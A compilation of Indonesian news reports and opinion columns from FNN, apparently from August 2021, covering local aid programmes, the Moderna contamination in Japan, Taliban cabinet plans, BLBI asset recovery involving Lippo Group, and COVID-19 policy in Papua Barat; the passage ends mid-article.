Sleman, FNN - Fakultas Pertanian Universitas Gadjah Mada (UGM) Yogyakarta memberikan bantuan alat pencacah daging ikan dan "vacum sealer" kepada Kelompok Swadaya Masyarakat (KSM) Usaha Mulia di Dusun Kandangsari, Kapanewon (Kecamatan) Ngaglik, Kabupaten Sleman, Minggu. Pada kegiatan yang turut dihadiri Wakil Bupati Sleman Danang Maharsa tersebut juga diserahkan bantuan 150 paket makanan bergizi bagi anak-anak yang ada di Dusun Kandangsari. Penyerahan bantuan tersebut merupakan program Peduli Kampung yang diselenggarakan oleh Fakultas Pertanian UGM sekaligus menyambut Dies Natalis yang ke-58. Wakil Bupati Sleman Danang Maharsa mengucapkan terima kasih kepada keluarga besar KSM Mulia dan Keluarga Fakultas Pertanian UGM yang telah berkenan memberikan bantuan berupa paket makanan bergizi hasil budidaya lele bagi masyarakat Kandangsari, Sukoharjo, Ngaglik, Sleman. "Kegiatan ini merupakan wujud nyata upaya kita untuk saling bahu membahu dari masyarakat untuk masyarakat," katanya. Menurut dia, pemberian bantuan paket makanan bergizi ini akan memberikan manfaat yang sangat besar bagi penerimanya dan juga sangat mendukung program Pemerintah Kabupaten Sleman dalam membudayakan gerakan Gemar Makan Ikan dan mengurangi angka stunting. "Program ini sejalan dengan program Pemkab Sleman yang terus menggalakkan makan ikan guna pemenuhan asupan makan bergizi. Yang mana kita tahu, ikan memiliki banyak manfaat yang diperlukan oleh tubuh dalam masa pertumbuhan bagi ibu hamil dan anak sehingga dapat mencegah stunting," katanya. Wakil Dekan Bidang Penelitian Pengabdian Masyarakat dan Kerja Sama Fakultas Pertanian UGM Dr Sri Nuryani Hidayah Utami mengatakan di samping upaya meningkatkan kesejahteraan masyarakat, program ini bertujuan untuk mendekatkan budidaya ikan di tengah-tengah masyarakat. Selain itu, penyerahan bantuan alat tersebut diharapkan dapat membantu meningkatkan produksi olahan ikan lele di KSM Usaha Mulia. "Semoga tidak berhenti sampai disini, tempat ini bisa menjadi desa wisata khusus olahan makanan ikan," katanya. KSM Usaha Mulia didampingi program pemberdayaan masyarakat yang didampingi Fakultas Pertanian UGM. KSM Usaha Mulia binaan Fakultas Pertanian UGM sukses melakukan program pemberdayaaan masyarakat berupa budidaya lele menggunakan buis beton yang tersebar di pekarangan warga. Selain itu, Fakultas Pertanian UGM juga membina anggota KSM Usaha Mulia untuk mengolah lele menjadi olahan bernilai jual tinggi seperti "frozen food" sempol, cilok, dan empek-empek. (mth)

Bupati Manggarai Barat Minta Persemaian Modern Dilihat Komprehensif

Labuan Bajo, NTT, FNN - Bupati Manggarai Barat Edistasius Endi meminta semua pihak melihat proyek persemaian modern di Labuan Bajo, kawasan Satar Kodi, Desa Nggorang, Manggarai Barat, Nusa Tenggara Timur, secara komprehensif. "Jangan lihat kayunya dibabat. Yang dilihat itu perencanaan secara komprehensif terkait pembangunan itu sendiri," katanya di Labuan Bajo, NTT, Ahad. Ia menilai sebelum memulai proyek, Kementerian Lingkungan Hidup dan Kehutanan (KLHK) tentu sudah mengkaji secara komprehensif soal dampak dan manfaat pembangunan, sehingga karena sudah dikaji secara komprehensif, maka bisa dilihat secara positif bahwa pembangunan tersebut bertujuan baik. Bupati Edi meminta semua pihak melihat secara keseluruhan desain pembangunan persemaian modern Labuan Bajo tersebut. Jika hasil akhir dari pekerjaan tersebut adalah menanam pohon, baginya tidak ada masalah. "Apa yang tidak boleh? Kalau sudah habis ditebang, lalu tidak ditanam apa-apa, itu yang salah," tegasnya. Menurutnya, perlu adanya penyamaan persepsi terkait kegiatan pembangunan persemaian modern tersebut. Sesuai UU Nomor 23 Tahun 2014, kewenangan hutan yang dulunya berada di kabupaten telah beralih ke provinsi. Oleh karena itu, pemerintah daerah akan berkoordinasi dengan pihak Balai Pengelolaan DAS dan Hutan Lindung Benain Noelmina, termasuk KLHK. "Kami akan tanya rencana komprehensif pembangunan tersebut. Kalau tidak ada dampak yang positif, ya kita suruh setop, kami akan koordinasi supaya hentikan. Tapi kalau dampak baik, kenapa kita bilang setop?" tutupnya. (mth)

Suzuki India Didenda Karena Kebijakan Diskon

Jakarta, FNN - Maruti Suzuki, produsen mobil terbesar di India, mendapat teguran dan denda sebesar 2 miliar rupee (Rp386,7 miliar) oleh Komisi Persaingan Bisnis India atas tuduhan melakukan praktik yang menghambat persaingan usaha. Komisi Persaingan Bisnis (Competition Commission of India/CCI) menuding Maruti Suzuki telah memaksa para diler mereka untuk membatasi diskon pada mobil yang dijual, lapor Reuters dikutip Minggu. CCI pada 2019 mulai menyelidiki tuduhan bahwa Maruti Suzuki memaksa para diler untuk membatasi diskon, yang secara efektif menghambat persaingan di antara diler dan merugikan konsumen yang sebenarnya bisa mendapatkan mobil dengan harga lebih terjangkau. Dalam sebuah perintah yang dikeluarkan setelah penyelidikan pada Juli 2019, CCI meminta Maruti untuk "berhenti" melakukan praktik semacam itu dan meminta perusahaan untuk menyetor denda dalam waktu 60 hari. Maruti Suzuki yang memiliki rasio penjualan satu dari setiap dua mobil di India, dan mayoritas sahamnya dimiliki Suzuki Motor Corp Jepang tidak menjawab permintaan komentar dari Reuters. Di sisi lain, Maruti Suzuki saat penyelidikan mengatakan kepada regulator bahwa mereka tidak mengekang diler untuk memberikan diskon apa pun kepada pelanggan. Lain halnya dengan pihak CCI setelah merangkum beberapa email antara diler dan pejabat Maruti Suzuki, yang menemukan adanya "kebijakan kontrol diskon yang dikendalikan" oleh Maruti dan bukan oleh diler. Sebagai informasi, produsen mobil terkadang menetapkan batas diskon kepada diler demi mencegah perang harga. Sebaliknya, hukum di India melihat hal itu berdampak buruk pada persaingan usaha. Kendati demikian, CCI akan mempertimbangkan hukuman denda kepada Maruti Suzuki dengan melihat kondisi industri otomotif yang terguncang pandemi COVID-19. (mth)

Jepang Menunda Suntikan 1,63 Juta Dosis Vaksin Moderna, Indonesia?

Jakarta, FNN - Karena khawatir ada kontaminasi pada produk vaksin yang mereka terima dari pabrik Vaksin Moderna di Spanyol, kamis kemarin akhirnya Jepang memutuskan menghentikan sementara vaksinasi dengan Moderna. Menurut Arie Karimah, Pharma-Excellent Alumni ITB, sebenarnya sejak 16 Agustus lalu Takeda menemukan di 8 lokasi vaksinasi mereka 39 vial yang belum dibuka (390 dosis) terlihat ada partikel yang tidak larut. “Persyaratan sediaan steril vaksin mengharuskan larutan yang jernih bebas partikel yang tidak terlarut atau endapan,” ungkap Arie Karimah dalam akun Facebook-nya, Jum’at, 27 Agustus 2021. Mereka meminta penyelidikan menyeluruh atas kasus itu oleh Ravi, pabrik yang mensuplai pasar selain AS. Dan sambil menunggu hasilnya mereka menghentikan program penyuntikan 1,63 juta dosis sisanya, yang merupakan produksi dari 3 nomer batch. Meski sebenarnya semua vial yang bermasalah berasal dari satu nomer batch, namun untuk kehati-hatian perusahaan farmasi Takeda di Jepang, yang bertanggung jawab atas penjualan dan distribusi vaksin tersebut, meminta menghentikan pemberian untuk ketiga batch itu. Takeda juga menduga sebagian dosis yang bermasalah tersebut mungkin sudah telanjur disuntikkan, sehingga mereka mengumumkan nomer batch-nya dan meminta masyarakat yang mendapatkan batch tersebut, dan mengalami efek yang tidak diharapkan (adverse reactions), untuk segera melapor. “Namun sampai saat ini mereka belum menerima laporan tersebut,” ungkap Arie Karimah. Ia pun mempertanyakan, “Kejernihan vaksin Moderna yang ada di kita sudah pada dicek atau belum, Bud (Budi Gunadi Sadikin, Menteri Kesehatan, Red)?” (mth)

Evakuasi Amerika Hampir Berakhir, Taliban Bersiap Bentuk Kabinet

Kabul, FNN - Taliban sedang mempersiapkan kabinet ketika evakuasi Amerika Serikat mendekati akhir. Taliban memperkirakan, anjloknya mata uang dan gejolak ekonomi setelah pengambilalihan Kabul dua minggu lalu akan mereda. Hal itu disampaikan juru bicara utama Zabihullah Mujahid, di Kabul, Sabtu, 28 Agustus 2021. Pernyataan tersebut disampaikan Zabihullah Mujahid saat militer AS menghentikan misinya untuk mengevakuasi warga AS dan warga Afghanistan yang rentan serta menarik pasukan dari bandara Kabul menjelang tenggat 31 Agustus yang ditetapkan oleh Presiden Joe Biden. Mujahid mengutuk serangan pesawat tak berawak AS semalam terhadap militan ISIS setelah serangan bunuh diri Kamis di dekat bandara Kabul. Ia mengimbau AS dan negara-negara Barat lainnya agar mempertahankan hubungan diplomatik setelah penarikan mereka, yang dia harapkan akan selesai "segera". Waktu pasti pembentukan kabinet baru masih belum jelas. Reuters awalnya mengutip Mujahid yang mengatakan pengumuman itu akan dibuat dalam pekan mendatang. Akan tetapi, dalam pesan suara kemudian dia mengatakan susunan kabinet baru akan diselesaikan "dalam satu atau dua minggu". Menanggapi pertanyaan apakah ada perempuan yang akan dimasukkan dalam kabinet baru, Mujahid mengatakan itu akan menjadi masalah kepemimpinan untuk memutuskan. Ia tidak bisa mengantisipasi apa keputusan mereka (pimpinan Talibamn). Ada rasa frustrasi yang meningkat di Kabul atas kesulitan ekonomi parah yang disebabkan oleh anjloknya mata uang dan kenaikan harga pangan, di mana bank-bank masih tutup dua minggu setelah jatuhnya kota itu ke tangan Taliban. Pada Sabtu, sebuah pernyataan dari Taliban mengatakan bank diperintahkan dibuka kembali dengan batas penarikan mingguan sebesar 20.000 Afghani. Dikutip dari Antara, Mujahid mengatakan, para pejabat telah ditunjuk menjalankan lembaga-lembaga utama termasuk kementerian kesehatan dan pendidikan masyarakat dan bank sentral. Pejabat PBB telah memperingatkan Afghanistan menghadapi bencana kemanusiaan, dengan sebagian besar wilayah yang menderita kondisi kekeringan ekstrem. Ekonomi, yang hancur setelah empat dekade perang, juga menghadapi kerugian miliaran dolar dalam bantuan asing, menyusul penarikan kedutaan besar Barat dari negara itu. Mujahid mengatakan masalah ekonomi yang dialami akan berkurang begitu pemerintahan baru terbentuk. "Kejatuhan Afghani terhadap mata uang asing bersifat sementara dan itu karena situasi yang tiba-tiba berubah. Mata uang Afghani akan kembali normal begitu sistem pemerintahan mulai berfungsi," katanya. (MD).

Mural Insurrection

By Rizal Fadillah DALAM rangka memerdekakan negara dari kaum imperialis penting adanya perlawanan bahkan pemberontakan. Sejarawan Ahmad Mansyur Surya Negara dalam buku karyanya "Api Sejarah" telah menggambarkan dahsyat dan gigihnya pemberontakan kaum ulama dan santri (santri insurrection). Pemberontakan mana membangun semangat juang elemen lain untuk bersama melawan kezaliman kaum imperialis. Setelah merdeka, selalu saja ada penguasa yang berperilaku sama dengan kaum imperialis itu. Sok kuasa, gemar mengadu domba, mengkooptasi koalisi, abai pada aspirasi rakyat, serta cenderung menindas. Perlawanan pun muncul di tengah kezaliman tersebut dalam berbagai bentuk mulai dari sikap kritis para aktivis, petisi tokoh, aksi unjuk rasa mahasiswa, hingga santri dan ulama yang menggelorakan jihad. Puisi, graffiti dan mural termasuk yang menjadi media untuk perlawanan bahkan mungkin pemberontakan (insurrection). Rezim Jokowi mengarah pada perilaku imperialis. Oligarkhi politik, ekonomi dan etnik dibangun masif. Profil sederhana menjadi desepsi dari kebrutalan untuk membunuh demokrasi dan hak asasi. Sikap kritis aktivis dikendalikan, aksi unjuk rasa dibungkam, kriminalisasi ulama dijalankan. Pandemi dijadikan alasan. Penegakkan hukum menjadi alat dari kekuasaan. Fenomena perlawanan kontemporer adalah mural. Mural berasal dari bahasa latin "murus" artinya dinding. "Menggambar atau melukis di atas media dinding, tembok, atau media luas lainnya yang bersifat permanen". Sejarah mural sudah ada 31.500 tahun yang lalu sejak ada lukisan gua di Lascaux Paris selatan. Menggunakan cat dari buah. Mural Pablo Picasso "Guernica" sangat terkenal dibuat saat perang sipil di Spanyol tahun 1936-1938 sebelum Perang Dunia pertama. Mural sejak awal menjadi bentuk ungkapan untuk mengkritisi masalah sosial. Pejabat yang paranoid sering menghapus mural. Membungkam protes walau konten itu sebenarnya hanya sekedar sindiran. Para seniman mengekspresikan jiwa seninya melalui lukisan di dinding. Rezim represif memburu dan mencoba membungkam atau menghukumnya. Pemerintahan Jokowi menghadapi insureksi mural saat ini. Yang ramai adakah wajah Jokowi yang tertutup mata bertuliskan "404 : Not Found". Di berbagai kota seperti Jakarta, Bandung, Tangerang, Solo, Bogor hingga Banjarmasin mural merebak. Berbagai isi kritik tertulis seperti "Tuhan aku lapar", "Dipaksa sehat di negara yang sakit", "Wabah sesungguhnya adalah kelaparan", "Masyarakat minus nurani", "Yang bisa dipercaya dari TV hanya adzan", atau "Jangan takut tuan-tuan, ini cuma street art". Mural adalah seni yang butuh kecerdasan dan keberanian karena bermakna kuat sebagai kritik atau koreksi. Seseorang yang berbaju putih dengan kepala di lubang seperti burung unta bertuliskan "11.000 Trillion : Not Found" tentu mudah difahami maknanya. Demikian juga dengan "Selamat datang di Indonesia--NKRI harga nego". Kini banyak mural dihapus dan pembuatnya diburu. Tetapi adakah pelanggaran pidana ? Tentu tidak. Hanya mungkin sebatas pelanggaran Perda kebersihan dan keindahan. Itupun masih bisa diperdebatkan. Mural insurrection menjadi strategis bagi penyadaran perilaku kekuasaan yang selalu merasa benar dan anti kritik. Penguasa yang lupa bahwa rakyat jika terus diinjak akan bisa menggigit. Diawali oleh gerakan moral. Mural insurrection. Mural adalah manifestasi mual yang bisa membuat "murus" dan muang angin atau muang air kecil dan besar. Mural adalah perlawanan ketika elemen lain tak berdaya. DPR yang mati suri dan Partai Politik yang bermasturbasi. *) Pemerhati Politik dan Kebangsaan

Sejarah Kelam Obligor Lippo Group

KASUS Bantauan Likuiditas Bank Indonesia (BLBI) sebenarnya sudah terkubur 22 tahun silam, namun sisa-sisanya masih terasa hari ini. Karena memang masih ada masalah tersisa 48 obligor dan debitor yang diharapkan dapat mengembalikan dana BLBI, namun baru menyerahkan aset, seperti yang terjadi pada Lippo Group. Pemerintah diketahui telah melakukan penguasaan fisik terhadap aset obligor dan debitur BLBI berupa 49 bidang tanah seluas 5.291.200 m2. Lokasinya tersebar berada di Medan, Pekanbaru, Tangerang, serta Bogor. Rinciannya, 44 bidang tanah seluas 251.992 m2 berada di Perumahan PT Lippo Karawaci Tbk, Kelapa Dua, Tangerang. Di Medan seluas 3.295 m2, di Pekanbaru seluas 15.785 m2 dan 15.708 m2, serta di Bogor seluas 2.013.060 m2 dan 2.991.360 m2. Di sisi lain, pemerintah juga masih terus mengejar 48 obligor dan debitur untuk membayar utang Rp110,45 triliun ke negara. Keseriusan pemerintah mengumpulkan kembali aset negara itu tertuang dalam Keputusan Presiden (Keppres) Nomor 6 Tahun 2021 tentang Satgas Penanganan Hak Tagih Negara Dana BLBI yang diteken pada 6 April 2021. Terkait penyitaan aset, Corporate Communication Lippo Karawaci Danang Kemayan Jati menjelaskan, lahan tersebut sebenarnya merupakan lahan yang sudah dimiliki secara hukum dan dikuasai oleh pemerintah, atas nama Depkeu, sejak 2001. "Jadi lahan tersebut sudah bukan lagi milik Pt Lippo Karawaci Tbk," tegasnya dalam keterangan tertulis, Jumat (27/8). Kepemilikan lahan tersebut diakui Danang memang terkait BLBI terhadap bank-bank yang diambil alih oleh pemerintah, melalui BPPN, pada bulan September 1997. "Tidak ada satu pun perusahaan Lippo, termasuk Bank Lippo, yang pernah meminta atau mendapatkan sekalipun atau satu sen pun, dana BLBI," tuturnya. Danang melanjutkan bahwa di antara aset-aset yang dikonsolidasikan di dalam satgas tersebut, ada yang terletak di sekitar pemukiman yang disebut Lippo Karawaci. Menurutnya itu adalah sesuatu hal yang wajar. "Pemberitaan yang seolah-oleh ada penyitaan lahan atau aset yang dikaitkan Lippo sebagai obligor dahulu atau sekarang, adalah sepenuhnya tidak benar. Karena aset itu sudah milik negara sejak 2001," tambahnya. Sampai di sini klaim Danang ada benarnya. Berdasarkan hasil audit Badan Pemeriksa Keuangan (BPK), Bank Lippo menerima dana rekapitalisasi sebesar Rp7,72 triliun. Dana rekap itu berupa obligasi fix rate sebesar Rp1,14 triliun dan obligasi variabel rate sebesar Rp6,58 triliun untuk mendapatkan kinerja rasio kecukupan modal (Capital Adequacy Ratio—CAR) 25,35%. Artinya Bank Lippo pasca rekapitalisasi memiliki likuiditas cukup dari syarat minimal CAR 4% dimasa krisis—dari sebelumnya 8%--bank itu direkap dengan 25,35%. Over rekapitalisasi, ini mungkin bentuk kedekatan para petinggi Lippo Group dengan pemerintah. Sebagai bentuk tanggung jawab jaminan, Lippo Group menyerahkan sejumlah aset. Selama Lippo Group tidak bisa mengembalikan dana rekap maka aset itu otomatis bisa disita sebagai bentuk pengembalian pinjaman kepada Pemerintah. Ada permainan buying time di sini, bisa saja saat aset Bank Lippo diserahkan nilai bukunya di bawah nilai utang. Namun setelah 22 tahun, aset yang sebagian besar berupa tanah itu kini nilainya sudah naik, sehingga inilah saatnya utang dianggap tuntas. Tentu saja ini bukan hal yang tanpa disengaja. Perlu diketahui arsitek konsep rekapitalisasi perbankan pada 1999 yang berupa Surat Keputusan Bersama 3 lembaga (Bank Indonesia, Departemen Keuangan dan BPK) adalah petinggi Lippo Group, yakni Roy E. Tirtaji. Sehingga ketika Bank Lippo menjadi bank yang direkap, tentu menguntungkan dibandingkan rekapitalisasi bank lain. Rekapitlisasi bank hasil merger Bank Danamon hanya 17%, kemudian setelah merger naik menjadi 38,81%. Bank Niaga hanya 4%, setelah merger menjadi 16,47%. BII minus 14,64%, setelah direkap tiga kali menjadi 8%. Besarnya dana rekap Bank Lippo, tentu saja berkat kedekatan petinggi Lippo Group dengan Pemerintah saat itu. Kasus 22 Tahun Ihwal tagihan BLBI tersisa merupakan kasus masa lalu yakni warisan dari krisis moneter 1997-1998. Saat itu krisis tersebut menyebabkan dampak kepada perbankan. "Banyak bank yang mengalami kesulitan dan pemerintah dipaksa untuk melakukan apa yang disebut dengan penjaminan kepada seluruh perbankan Indonesia saat itu," tutur Menteri Keuangan Sri Mulyani Indrawati dalam konferensi pers, Jumat (28/7). Sri Mulyani menjelaskan saat itu banyak bank ditutup, diakuisisi, atau merger dengan perusahaan lain. Dalam kondisi itu lah pemerintah melalui Bank Indonesia (BI) membantu dengan cara menyuntikkan likuiditas ke perbankan. "Dalam rangka untuk menjaga stabilitas sistem keuangan, maka BI melakukan apa yang disebut bantuan likuiditas kepada bank-bank yang mengalami kesulitan," jelasnya. Bantuan likuiditas itu, sambung dia, dibiayai lewat surat utang negara (SUN) yang sampai sekarang masih digenggam oleh BI. Selama 22 tahun pemerintah disebut menanggung beban pembayaran utang, baik pokok dan bunga hingga saat ini. "Kalau dihitung selama 22 tahun, kita mengeluarkan bunganya bisa sampai kalau dulu itu mencapai di atas 10%. Kalau sekarang suku bunga barangkali sudah mulai turun tapi itu tetap tabungan yang luar biasa yang harus kita kembalikan," imbuhnya. Oleh sebab itu, pemerintah akan terus mengejar aset obligor dan debitur BLBI untuk melunasi kewajibannya. Tidak hanya yang di dalam negeri, tetapi juga aset yang berada di luar negeri. "Pemilik bank dan debitur harus mengembalikan dana tersebut. Itulah muncul tagihan apa yang kami sebut program BLBI akibat krisis keuangan 1997-1998," jelasnya. Satgas BLBI telah memanggil 48 debitur dan obligor tersebut untuk mengembalikan kewajibannya kepada negara. Salah satunya adalah Putra bungsu mantan Presiden Soeharto, Hutomo Mandala Putra alias Tommy Soeharto. Tommy dipanggil atas nama pengurus dari PT Timor Putra Nasional. Satgas BLBI menyebut utangnya ke negara hingga Rp2,6 triliun. Sri Mulyani mengatakan pihaknya akan terus menghubungi obligor dan debitur sampai kepada keturunannya. Pasalnya, beberapa usaha obligor dan debitur tersebut bisa saja sudah dialihkan ke anak atau cucu. "Saya berharap kepada para obligor dan debitur tolong penuhi semua panggilan dan mari kita segera selesaikan obligasi atau kewajiban Anda semua yang sudah 22 tahun merupakan suatu kewajiban yang belum diselesaikan," pintanya. Sepertinya, seperti tesis penulis terdahulu, bahwa ribut-ribut soal dana BLBI selalu hadir satu hingga tiga tahun menjelang Pemilu. Ada indikasi kuat sisa-sisa tagihan BLBI obligor dan kreditor akan diolah lagi sebagai modal Pemilu. Rakyat hanya bisa menyaksikan sandiwara papan atas para perekayasa keuangan.

Dua Warga Jepang Meninggal Setelah Divaksin Moderna

Tokyo, FNN - Dua orang meninggal usai menerima suntikan vaksin Covid-19 dari kelompok dosis Moderna yang ditemukan tercemar dan kemudian ditangguhkan, demikian diungkapkan Kementerian Kesehatan Jepang pada Sabtu, 28 Agustus 2021. Menurut rilis Kementerian Kesehatan Jepang, kedua orang itu sama-sama berusia 30-an tahun, meninggal pada Agustus ini, beberapa hari setelah menerima dosis kedua vaksin Moderna, Dikutip dari Antara, mereka masing-masing mendapat satu dosis di antara tiga kelompok dosis yang ditangguhkan pada Kamis (26/8). Penyebab kematian masih dalam penyelidikan. Jepang menghentikan penggunaan 1,63 juta dosis vaksin Moderna lebih dari sepekan setelah distributor lokal Takeda Pharmaceutical mendapat laporan bahwa sejumlah ampul tercemar. Pemerintah dan pihak Moderna mengeklaim bahwa tidak ada masalah keamanan atau efikasi yang teridentifikasi dan penangguhan tersebut hanyalah merupakan langkah antisipasi. Unsur pencemaran diyakini berupa partikel logam, menurut stasiun penyiaran Jepang NHK yang mengutip sumber kementerian terkait. (MD).

Gubernur Jambi Lantik Gurunya Jadi Bupati Merangin

Bangko, Merangin, FNN - Gubernur Jambi, H Al Haris melantik gurunya H Mashuri menjadi Bupati Merangin untuk sisa masa bakti 2018-2023 di ruang utama Kantor Bupati Merangin, di Bangko, Sabtu, 28 Agustus 2021. Mashuri yang sebelumnya Pelaksana tugas Bupati Merangin itu, adalah guru Al Haris saat masih berstatus pelajar di SMA Dharma Bhakti Bangko, Kabupaten Merangin, yang juga menjadi wakil Haris saat menjabat sebagai Bupati Merangin. Pelantikan Bupati Merangin itu menjadi yang pertama kali dilakukan di ibu kota kabupaten dengan protokol kesehatan ketat. Sementara lima bupati dan wabup lainnya di Jambi yang dilantik tahun ini semuanya dilaksanakan di Rumah Dinas Gubernur Jambi, di Kota Jambi karena pandemi Covid-19. Seusai pelantikan, Al Haris menegaskan, akan memantapkan kerja Satgas Covid-19 Merangin bekerja sama dengan Forkopimda (Forum Koordinasii Pimpinan Daerah) Merangin. "Saya akan selalu memantau perkembangan Merangin dari Jambi. Saya yakin dengan kemampuan Pak Mashuri, untuk berbuat mewujudkan visi misi Merangin Mantap 2023," kata Gubernur Al Haris, sebagaimana dikutip dari Antara. Bupati Merangin H Mashuri mengaku, sisa dua tahun masa jabatannya itu akan dikebut, mengejar target visi misi Merangin Mantap 2023. Unggul di bidang pariwisata dan pertanian dan mempercepat penanggulangan pandemi Covid-19. "Kita akan memperluas dan mengejar target vaksinasi Covid-19 sebanyak 265.000 orang, yang baru tercapai sebanyak 27 persen atau 68.000 orang vaksin Covid-19 dosis dua," kata bupati. Ia mengharapkan kepada seluruh lapisan masyarakat, aparatur sipil negara dan media, supaya bersama-sama bersinergi menyejahterakan masyarakat Kabupaten Merangin. Terkait jabatan wakil bupati yang akan mendampinginya dalam siswa waktu dua tahun ke depan, Mashuri menyerahkan calon wakilnya kepada partai politik pengusungnya. "Menyerahkan sepenuhnya kepada partai pengusung, untuk mengusulkannya," kata Mashuri. Di bidang pemerintahan, menurut H Mashuri, sekarang ini sedang dalam proses asesmen dan sudah menjaring tujuh orang seleksi sekda. Pemkab Merangin juga sedang menunggu hasil asesmen yang dilakukan Pemprov Jambi untuk pejabat eselon dua Merangin. "Saya tidak mau cepat-cepat melantik pejabat eselon dua, karena bila ada pejabat kita lulus asesmen Pemprov Jambi, akan kembali terjadi kekosongan dan harus melakukan asesmen berulang-ulang untuk mengisi kekosongan," terang Bupati. Pada kesempatan itu, juga dilantik Plt Ketua TP PKK Merangin Hj Nurhaida Mashuri menjadi Ketua TP PKK Kabupaten Merangin oleh Ketua TP PKK Provinsi Jambi Hj Hesnidar Haris. (MD).

GAMKI Dukung Penuh Penangkapan Para Penista Agama

Jakarta, FNN - Gerakan Angkatan Muda Kristen Indonesia (GAMKI) mendukung penuh penangkapan atas terduga penista agama Muhammad Kece dan Yahya Waloni oleh pihak kepolisian, yang menunjukkan semua warga negara Indonesia berkedudukan sama di mata hukum. "Terima kasih kepada Bapak Kapolri, Kabareskrim, Dirtipidsiber dan jajaran Bareskrim Polri yang memproses hukum setiap tindakan dari pihak-pihak yang menyampaikan ujaran kebencian terhadap agama dan kepercayaan tertentu. Siapapun pelakunya dan dari agama manapun, harus diproses hukum jika melakukan tindakan tercela ini," kata Sekretaris Umum Dewan Pimpinan Pusat GAMKI Sahat Martin Philip Sinurat, dalam keterangan tertulis, Sabtu. Bareskrim Polri telah menangkap YouTuber Muhammad Kece di Bali, Selasa (24/8), yang diduga melakukan ujaran kebencian melalui unggahannya. Tim Dittipidsiber Polri juga menangkap Yahya Waloni atas kasus dugaan penodaan agama, pada Kamis (26/8) di Cileungsi, Bogor, Jawa Barat. GAMKI meminta kepolisian melalui Bareskrim Polri dapat melakukan proses hukum secara adil, transparan, dan profesional sesuai dengan aturan perundang-undangan yang berlaku. Sehingga masyarakat dapat melihat langsung bahwa asas keadilan dapat ditegakkan bagi semua rakyat Indonesia. "Penangkapan ini memberi pelajaran kepada kita semua untuk selalu berkomitmen menjaga kemajemukan dan tidak memberikan ceramah dan pesan keagamaan yang provokatif dan menyerang agama lain. Kami harapkan masyarakat dapat menghormati proses hukum yang berjalan di kepolisian serta tetap tenang dan tidak terpancing dengan isu provokatif," ujarnya. Sahat yang juga merupakan mantan Ketua Umum Gerakan Mahasiswa Kristen Indonesia (GMKI) ini mengharapkan tidak ada lagi tindakan penghinaan dan ujaran kebencian terhadap agama dan kepercayaan sehingga penggunaan aturan hukum terkait ujaran kebencian dan penistaan agama ini semakin minim ke depannya. Sahat mengajak generasi muda untuk berperan aktif menyebarkan nilai-nilai toleransi dan membangun hubungan harmonis di tengah masyarakat lintas suku dan agama. "Sebagai generasi muda kita memiliki tanggung jawab untuk membangun kerukunan dan persaudaraan lintas agama. Kita juga perlu mengajak dan mengingatkan para pemuka dan tokoh agama untuk memberikan pesan dan ceramah keagamaan yang sejuk, damai, dan toleran kepada umat beragama," lanjutnya. GAMKI mengajak semua pihak untuk menghargai perbedaan ajaran dan tradisi agama yang ada di Indonesia dengan melakukan moderasi beragama di tengah lingkungan masyarakat. "Mari kita bahu-membahu bersama pemerintah dan masyarakat untuk menghadapi dampak dari COVID-19. Saat ini kita membutuhkan pesan dan ajakan kebersamaan dan persatuan sehingga dapat bersama-sama melalui situasi pandemi ini," katanya.(sws)

Kapolri Gunakan Pendekatan Kearifan Lokal Ajak Masyarakat Papua Isoter

Jakarta, FNN - Kapolri Jenderal Pol Listyo Sigit Prabowo meminta Forum Koordinasi Pimpinan Daerah (Forkopimda) se-Papua Barat menerapkan pendekatan kearifan lokal untuk mengajak masyarakatnya yang terpapar COVID-19 dengan gejala tertentu menjalani isolasi di fasilitas isolasi terpusat (isoter). Dalam rapat bersama Panglima TNI Marsekal TNI Hadi Tjahjanto dengan Forum Koordinasi Pimpinan Daerah (Forkopimda) se-Papua Barat, Sabtu, Sigit mengatakan melakukan isolasi atau karantina di fasilitas isoter dapat mempercepat proses penyembuhan, sehingga penanganan pandemi COVID-19 menjadi terkendali. "Upaya menggeser isolasi mandiri ke isoter perlu dilakukan secara maksimal dengan bantuan pemerintah daerah (pemda), tokoh masyarakat, tokoh adat. Serta perlu dijelaskan secara baik menyesuaikan dengan adat istiadat setempat yang dapat memberikan ketenangan kepada masyarakat ketika diajak ke isoter," kata Sigit dikutip dalam keterangan tertulis Divisi Humas Polri. Jenderal bintang empat itu mengungkapkan, ada 411 kasus atau sekitar 82 persen dari kasus aktif di Papua Barat. Fasilitas isoter yang tersedia ada 13 lokasi, dengan kapasitas 855 tempat tidur. Dari jumlah tersebut, baru 19 tempat tidur yang terpakai, sisanya 836 masih kosong. Kebanyakan masyarakat melakukan isolasi mandiri di rumahnya masing-masing. Menurut Sigit, perlua sosialisasi dan edukasi secara masif kepada masyarakat agar mau menjalani karantina atau isolasi di fasilitas isoter. Terlebih, fasilitas isoter saat ini memadai dan mendapat pengawasan penuh dari tenaga kesehatan. Mantan Kabareskrim Polri itu, optimis lewat sosialisasi dan edukasi yang masif, serta pendekatan kearifan lokal dapat mengubah paradigma masyarakat untuk menjalani isolasi di fasitas isoter, karena memiliki tingkat kesembuhan yang tinggi. Selama isolasi, pasien akan tinggal terpisah dengan anggota keluarga, sehingga memperkecil proses transmisi virus. "Tetap lebih diutamakan isolasi atau karantina di isoter karena di bawah pengawasan tenaga medis," ujar Sigit. Pada kesempatan itu juga, Sigit mendorong Forkopimda Mimika melakukan strategi pengadilan COVID-19, yakni protokol kesehatan secara ketat dan penguatan 3T (Tracing, Testing dan Treatment) serta akselerasi program vaksinasi massal. Sigit berharap, Forkopimda bersama masyarakat sama-sama bersinergi untuk mempertahankan tren penurunan virus SARS-CoV-2. Karena, dari 34 provinsi di Indonesia, Papua Barat menjadi wilayah yang paling sedikit untuk kasus aktif di skala nasional. Dengan mempertahankan tren positif itu, kata Sigit, akan mempengaruhi kelonggaran-kelonggaran terhadap aktivitas masyarakat. Jika kesehatan masyarakat terjamin, maka roda perekonomian pun akan bergerak seperti sediakala, namun tetap disiplin menerapkan protokol kesehatan. "Ketika kasus COVID-19 di Papua Barat bisa terkendali, maka secara otomatis daerah tersebut akan mendapat pelonggaran dan aktivitas ekonomi masyarakat bisa kembali berjalan dengan lebih baik," kata Sigit. Sigit menegaskan, pengendalian COVID-19 menjadi tanggung jawab bersama pemerintah, baik pusat maupun daerah, dan seluruh masyarakat. Sebagaimana diatur dalam Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 36 dan 37 tahun 2021 terdapat perluasan pelonggaran di sektor pendidikan, sektor non esensial, restoran, pusat perbelanjaan, resepsi pernikahan, fasilitas umum dan kegiatan seni budaya. Sigit tak henti-hentinya mengingatkan percepatan vaksinasi menjadi salah satu upaya penanganan dan pengendalian COVID-19 di Papua Barat, 